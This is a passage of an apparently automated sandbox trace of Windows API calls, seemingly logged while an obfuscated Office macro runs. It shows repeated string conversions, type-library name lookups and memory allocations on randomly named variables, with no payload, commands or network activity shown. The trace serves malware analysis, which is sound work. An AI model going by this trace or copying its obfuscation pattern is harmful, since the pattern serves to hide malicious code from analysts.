cbMultiByte=10, lpWideCharStr=0xd150c6a, cchWideChar=22 | out: lpWideCharStr="YqNoqwYJmB") returned 10 [0018.980] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb778ba, cbMultiByte=10, lpWideCharStr=0xd150e14, cchWideChar=22 | out: lpWideCharStr="AfOWHKEOkU") returned 10 [0018.980] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb778ce, cbMultiByte=10, lpWideCharStr=0xd150fbe, cchWideChar=22 | out: lpWideCharStr="fuazbAjrTG") returned 10 [0018.980] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb778e2, cbMultiByte=10, lpWideCharStr=0xd151168, cchWideChar=22 | out: lpWideCharStr="kazjtOBwjz") returned 10 [0018.980] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb778f6, cbMultiByte=10, lpWideCharStr=0xd151312, cchWideChar=22 | out: lpWideCharStr="wowNjLZVci") returned 10 [0018.981] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="RSvqNFPSbzs") returned 0x10c062 [0018.981] strcpy_s (in: _Dst=0x305060, _DstSize=0xc, _Src="RSvqNFPSbzs" | out: _Dst="RSvqNFPSbzs") returned 0x0 [0018.981] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=12, lpWideCharStr=0x304eb0, cchWideChar=12 | out: lpWideCharStr="RSvqNFPSbzs") returned 12 [0018.981] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.981] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="RSvqNFPSbzs", lHashVal=0x10c062, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.981] IUnknown:Release (This=0x7919520) returned 0x10 [0018.981] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.981] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="RSvqNFPSbzs", lHashVal=0x10c062, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.981] IUnknown:Release (This=0x7346470) returned 0xb [0018.981] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.981] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="RSvqNFPSbzs", lHashVal=0x10c062, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.981] IUnknown:Release (This=0x7345930) returned 0x7 [0018.981] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.981] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="RSvqNFPSbzs", lHashVal=0x10c062, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.981] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.981] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x13) returned 0x79720e0 [0018.981] strcpy_s (in: _Dst=0x305210, _DstSize=0x13, _Src="_B_var_RSvqNFPSbzs" | out: _Dst="_B_var_RSvqNFPSbzs") returned 0x0 [0018.981] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=19, lpWideCharStr=0x305060, cchWideChar=19 | out: lpWideCharStr="_B_var_RSvqNFPSbzs") returned 19 [0018.981] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.981] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_RSvqNFPSbzs", lHashVal=0x10b1c4, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.981] IUnknown:Release (This=0x7919520) returned 0x10 [0018.981] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.981] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_RSvqNFPSbzs", lHashVal=0x10b1c4, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.981] IUnknown:Release (This=0x7346470) returned 0xb [0018.981] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.981] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_RSvqNFPSbzs", lHashVal=0x10b1c4, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.981] IUnknown:Release (This=0x7345930) returned 0x7 [0018.981] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.981] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_RSvqNFPSbzs", lHashVal=0x10b1c4, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.981] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.981] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.981] IUnknown:Release (This=0x7919520) returned 0x10 [0018.981] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77914, cbMultiByte=10, lpWideCharStr=0xd153784, cchWideChar=22 | out: lpWideCharStr="siQLmiUfTj") returned 10 [0018.982] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7792e, cbMultiByte=10, lpWideCharStr=0xd153bce, cchWideChar=22 | out: lpWideCharStr="MCBJltmobl") returned 10 [0018.982] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77942, cbMultiByte=10, lpWideCharStr=0xd153d78, cchWideChar=22 | out: lpWideCharStr="zzaNziKjmw") returned 10 [0018.982] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77956, cbMultiByte=10, lpWideCharStr=0xd153f22, cchWideChar=22 | out: lpWideCharStr="odOizwnnKj") returned 10 [0018.982] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd160000 [0018.983] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7796a, cbMultiByte=10, lpWideCharStr=0xd160104, cchWideChar=22 | out: lpWideCharStr="imhJWDtXaD") returned 10 [0018.983] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7797e, cbMultiByte=10, lpWideCharStr=0xd1602ae, cchWideChar=22 | out: lpWideCharStr="khPSKvIDLD") returned 10 [0018.983] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77992, cbMultiByte=10, lpWideCharStr=0xd160458, cchWideChar=22 | out: lpWideCharStr="XosVrinWMp") returned 10 [0018.983] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb779a6, cbMultiByte=10, lpWideCharStr=0xd160602, cchWideChar=22 | out: lpWideCharStr="FzdvGLPRqw") returned 10 [0018.983] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="BklzaiilSPV") returned 0x10e164 [0018.983] strcpy_s (in: _Dst=0x305060, _DstSize=0xc, _Src="BklzaiilSPV" | out: _Dst="BklzaiilSPV") returned 0x0 [0018.983] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=12, lpWideCharStr=0x304eb0, cchWideChar=12 | out: lpWideCharStr="BklzaiilSPV") returned 12 [0018.983] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.983] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="BklzaiilSPV", lHashVal=0x10e164, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.984] IUnknown:Release (This=0x7919520) returned 0x10 [0018.984] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.984] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="BklzaiilSPV", lHashVal=0x10e164, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.984] IUnknown:Release (This=0x7346470) returned 0xb [0018.984] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.984] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="BklzaiilSPV", lHashVal=0x10e164, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.984] IUnknown:Release (This=0x7345930) returned 0x7 [0018.984] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.984] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="BklzaiilSPV", lHashVal=0x10e164, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.984] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.984] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x13) returned 0x79720e0 [0018.984] strcpy_s (in: _Dst=0x305210, _DstSize=0x13, _Src="_B_var_BklzaiilSPV" | out: _Dst="_B_var_BklzaiilSPV") returned 0x0 [0018.984] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=19, lpWideCharStr=0x305060, cchWideChar=19 | out: lpWideCharStr="_B_var_BklzaiilSPV") returned 19 [0018.984] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.984] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_BklzaiilSPV", lHashVal=0x10d2c6, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.984] IUnknown:Release (This=0x7919520) returned 0x10 [0018.984] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.984] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_BklzaiilSPV", lHashVal=0x10d2c6, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.984] IUnknown:Release (This=0x7346470) returned 0xb [0018.984] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.984] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_BklzaiilSPV", lHashVal=0x10d2c6, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.984] IUnknown:Release (This=0x7345930) returned 0x7 [0018.984] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.984] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_BklzaiilSPV", lHashVal=0x10d2c6, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.984] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.984] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.984] IUnknown:Release (This=0x7919520) returned 0x10 [0018.984] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb779c4, cbMultiByte=30, lpWideCharStr=0xd162a74, cchWideChar=62 | out: lpWideCharStr="cjjnfniPpDHZEaqLi oQNjLwuHjJn") returned 30 [0018.984] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="hVdoSazM") returned 0x10c627 [0018.984] strcpy_s (in: _Dst=0x305060, _DstSize=0x9, _Src="hVdoSazM" | out: _Dst="hVdoSazM") returned 0x0 [0018.984] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=9, lpWideCharStr=0x304eb0, cchWideChar=9 | out: lpWideCharStr="hVdoSazM") returned 9 [0018.984] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.985] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="hVdoSazM", lHashVal=0x10c627, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.985] IUnknown:Release (This=0x7919520) returned 0x10 [0018.985] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.985] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="hVdoSazM", lHashVal=0x10c627, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.985] IUnknown:Release (This=0x7346470) returned 0xb [0018.985] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.985] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="hVdoSazM", lHashVal=0x10c627, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.985] IUnknown:Release (This=0x7345930) returned 0x7 [0018.985] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.985] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="hVdoSazM", lHashVal=0x10c627, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.985] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.985] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x10) returned 0x79720e0 [0018.985] strcpy_s (in: _Dst=0x305210, _DstSize=0x10, _Src="_B_var_hVdoSazM" | out: _Dst="_B_var_hVdoSazM") returned 0x0 [0018.985] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=16, lpWideCharStr=0x305060, cchWideChar=16 | out: lpWideCharStr="_B_var_hVdoSazM") returned 16 [0018.985] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.985] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_hVdoSazM", lHashVal=0x109db0, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.985] IUnknown:Release (This=0x7919520) returned 0x10 [0018.985] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.985] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_hVdoSazM", lHashVal=0x109db0, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.985] IUnknown:Release (This=0x7346470) returned 0xb [0018.985] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.985] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_hVdoSazM", lHashVal=0x109db0, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.985] IUnknown:Release (This=0x7345930) returned 0x7 [0018.985] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.985] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_hVdoSazM", lHashVal=0x109db0, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.985] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.985] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.985] IUnknown:Release (This=0x7919520) returned 0x10 [0018.985] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb779fc, cbMultiByte=10, lpWideCharStr=0xd1637ce, cchWideChar=22 | out: lpWideCharStr="QCFKhdQQNq") returned 10 [0018.985] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77a16, cbMultiByte=10, lpWideCharStr=0xd163c18, cchWideChar=22 | out: lpWideCharStr="MjqjRahhct") returned 10 [0018.985] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77a2a, cbMultiByte=10, lpWideCharStr=0xd163dc2, cchWideChar=22 | out: lpWideCharStr="IGhnYrwMRQ") returned 10 [0018.986] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77a3e, cbMultiByte=10, lpWideCharStr=0xd163f6c, cchWideChar=22 | out: lpWideCharStr="bNOpqhUnzQ") returned 10 [0018.986] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd170000 [0018.986] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77a52, cbMultiByte=10, lpWideCharStr=0xd170124, cchWideChar=22 | out: lpWideCharStr="zllqkQwQwF") returned 10 [0018.987] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77a66, cbMultiByte=10, lpWideCharStr=0xd1702ce, cchWideChar=22 | out: lpWideCharStr="dssjVJUSmp") returned 10 [0018.987] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77a7a, cbMultiByte=10, lpWideCharStr=0xd170478, cchWideChar=22 | out: lpWideCharStr="iDwzOzSApj") returned 10 [0018.987] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77a8e, cbMultiByte=10, lpWideCharStr=0xd170622, cchWideChar=22 | out: lpWideCharStr="FuhMwXVqDI") returned 10 [0018.987] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="qQCZpD") returned 0x10f346 [0018.987] strcpy_s (in: _Dst=0x305060, _DstSize=0x7, _Src="qQCZpD" | out: _Dst="qQCZpD") returned 0x0 [0018.987] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=7, lpWideCharStr=0x304eb0, cchWideChar=7 | out: lpWideCharStr="qQCZpD") returned 7 [0018.987] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.987] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="qQCZpD", lHashVal=0x10f346, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.987] IUnknown:Release (This=0x7919520) returned 0x10 [0018.987] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.987] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="qQCZpD", lHashVal=0x10f346, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.987] IUnknown:Release (This=0x7346470) returned 0xb [0018.987] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.987] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="qQCZpD", lHashVal=0x10f346, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.987] IUnknown:Release (This=0x7345930) returned 0x7 [0018.987] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.987] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="qQCZpD", lHashVal=0x10f346, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.987] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.987] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xe) returned 0x79720e0 [0018.988] strcpy_s (in: _Dst=0x305210, _DstSize=0xe, _Src="_B_var_qQCZpD" | out: _Dst="_B_var_qQCZpD") returned 0x0 [0018.988] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=14, lpWideCharStr=0x305060, cchWideChar=14 | out: lpWideCharStr="_B_var_qQCZpD") returned 14 [0018.988] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.988] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_qQCZpD", lHashVal=0x106db0, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.988] IUnknown:Release (This=0x7919520) returned 0x10 [0018.988] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.988] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_qQCZpD", lHashVal=0x106db0, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.988] IUnknown:Release (This=0x7346470) returned 0xb [0018.988] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.988] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_qQCZpD", lHashVal=0x106db0, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.988] IUnknown:Release (This=0x7345930) returned 0x7 [0018.988] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.988] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_qQCZpD", lHashVal=0x106db0, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.988] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.988] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.988] IUnknown:Release (This=0x7919520) returned 0x10 [0018.988] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77aac, cbMultiByte=10, lpWideCharStr=0xd172a94, cchWideChar=22 | out: lpWideCharStr="pnGjNHOwTB") returned 10 [0018.988] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77ac6, cbMultiByte=10, lpWideCharStr=0xd172ede, cchWideChar=22 | out: lpWideCharStr="okbGIqtMRn") returned 10 [0018.988] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77ada, cbMultiByte=10, lpWideCharStr=0xd173088, cchWideChar=22 | out: lpWideCharStr="PWLkzkDTLw") returned 10 [0018.988] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77aee, cbMultiByte=10, lpWideCharStr=0xd173232, cchWideChar=22 | out: lpWideCharStr="fqMPOkiJHk") returned 10 [0018.988] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77b02, cbMultiByte=10, lpWideCharStr=0xd1733dc, cchWideChar=22 | out: lpWideCharStr="UrCKBVYXnQ") returned 10 [0018.988] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77b16, cbMultiByte=10, lpWideCharStr=0xd173586, cchWideChar=22 | out: lpWideCharStr="RDzDjScVmd") returned 10 [0018.989] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77b2a, cbMultiByte=10, lpWideCharStr=0xd173730, cchWideChar=22 | out: lpWideCharStr="DvlVWzYLrX") returned 10 [0018.989] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77b3e, cbMultiByte=10, lpWideCharStr=0xd1738da, cchWideChar=22 | out: lpWideCharStr="HkFjTYTAjc") returned 10 [0018.989] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd180000 [0018.990] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="GNrTfhIItz") returned 0x10b9a8 [0018.990] strcpy_s (in: _Dst=0x305060, _DstSize=0xb, _Src="GNrTfhIItz" | out: _Dst="GNrTfhIItz") returned 0x0 [0018.990] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=11, lpWideCharStr=0x304eb0, cchWideChar=11 | out: lpWideCharStr="GNrTfhIItz") returned 11 [0018.990] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.990] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="GNrTfhIItz", lHashVal=0x10b9a8, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.990] IUnknown:Release (This=0x7919520) returned 0x10 [0018.990] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.990] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="GNrTfhIItz", lHashVal=0x10b9a8, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.990] IUnknown:Release (This=0x7346470) returned 0xb [0018.990] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.990] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="GNrTfhIItz", lHashVal=0x10b9a8, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.990] IUnknown:Release (This=0x7345930) returned 0x7 [0018.990] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.990] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="GNrTfhIItz", lHashVal=0x10b9a8, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.990] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.990] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x12) returned 0x79720e0 [0018.990] strcpy_s (in: _Dst=0x305210, _DstSize=0x12, _Src="_B_var_GNrTfhIItz" | out: _Dst="_B_var_GNrTfhIItz") returned 0x0 [0018.990] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=18, lpWideCharStr=0x305060, cchWideChar=18 | out: lpWideCharStr="_B_var_GNrTfhIItz") returned 18 [0018.990] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.990] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_GNrTfhIItz", lHashVal=0x1027d3, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.990] IUnknown:Release (This=0x7919520) returned 0x10 [0018.990] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.990] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_GNrTfhIItz", lHashVal=0x1027d3, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.990] IUnknown:Release (This=0x7346470) returned 0xb [0018.990] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.990] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_GNrTfhIItz", lHashVal=0x1027d3, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.990] IUnknown:Release (This=0x7345930) returned 0x7 [0018.990] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.990] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_GNrTfhIItz", lHashVal=0x1027d3, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.990] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.990] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.990] IUnknown:Release (This=0x7919520) returned 0x10 [0018.991] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77b5c, cbMultiByte=10, lpWideCharStr=0xd181d4c, cchWideChar=22 | out: lpWideCharStr="TWTpoMQGfQ") returned 10 [0018.991] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77b76, cbMultiByte=10, lpWideCharStr=0xd182196, cchWideChar=22 | out: lpWideCharStr="XwDmQiqBzi") returned 10 [0018.991] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77b8a, cbMultiByte=10, lpWideCharStr=0xd182340, cchWideChar=22 | out: lpWideCharStr="UzOqlCrRhw") returned 10 [0018.991] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77b9e, cbMultiByte=10, lpWideCharStr=0xd1824ea, cchWideChar=22 | out: lpWideCharStr="QPQYjGEjmk") returned 10 [0018.991] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77bb2, cbMultiByte=10, lpWideCharStr=0xd182694, cchWideChar=22 | out: lpWideCharStr="QUivlJMHdP") returned 10 [0018.991] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77bc6, cbMultiByte=10, lpWideCharStr=0xd18283e, cchWideChar=22 | out: lpWideCharStr="rimRtUIdDm") returned 10 [0018.991] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77bda, cbMultiByte=10, lpWideCharStr=0xd1829e8, cchWideChar=22 | out: lpWideCharStr="VwZiAIifFJ") returned 10 [0018.991] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77bee, cbMultiByte=10, lpWideCharStr=0xd182b92, cchWideChar=22 | out: lpWideCharStr="dHOMSzRSEc") returned 10 [0018.991] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd190000 [0018.993] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="MoDJTzLaT") returned 0x104bfe [0018.993] strcpy_s (in: _Dst=0x305060, 